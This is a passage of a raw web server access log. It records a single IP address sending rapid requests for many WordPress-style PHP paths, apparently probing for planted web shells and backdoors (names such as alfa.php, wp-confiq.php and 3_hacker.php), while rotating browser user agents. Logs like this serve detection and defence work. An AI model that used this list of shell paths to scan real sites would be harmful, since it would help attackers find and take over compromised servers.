(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:24 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:24 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:24 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:24 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:24 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:24 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:25 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:25 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:25 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.160.244 - - [30/Apr/2025:23:35:25 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:25 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:25 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:26 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:26 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:26 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:26 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:26 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:26 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:27 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:27 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:27 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:27 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:27 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:28 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:28 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:28 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:28 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:28 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:28 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.160.244 - - [30/Apr/2025:23:35:29 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:35:29 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:29 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:29 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:29 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:29 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:30 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:30 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:30 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:30 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:30 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:30 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:31 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:31 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.160.244 - - [30/Apr/2025:23:35:31 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:31 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:31 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:31 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:32 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:32 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:32 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:35:32 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:32 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:32 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:33 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:33 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:33 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:33 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:33 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:34 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:34 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:34 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:34 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:34 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:34 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.160.244 - - [30/Apr/2025:23:35:35 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:35 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:35 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:35 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:35 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:35 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:36 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:36 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:36 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:36 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:36 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:37 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:37 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:37 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:37 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:37 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:37 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:38 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:38 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:38 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:35:38 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:38 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:38 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:39 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:39 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:39 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:39 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:39 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:39 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:40 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:40 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:40 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:40 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:40 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:40 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.160.244 - - [30/Apr/2025:23:35:41 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:41 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:41 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:41 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:41 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:42 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:42 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:42 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:42 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:42 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:43 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:43 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 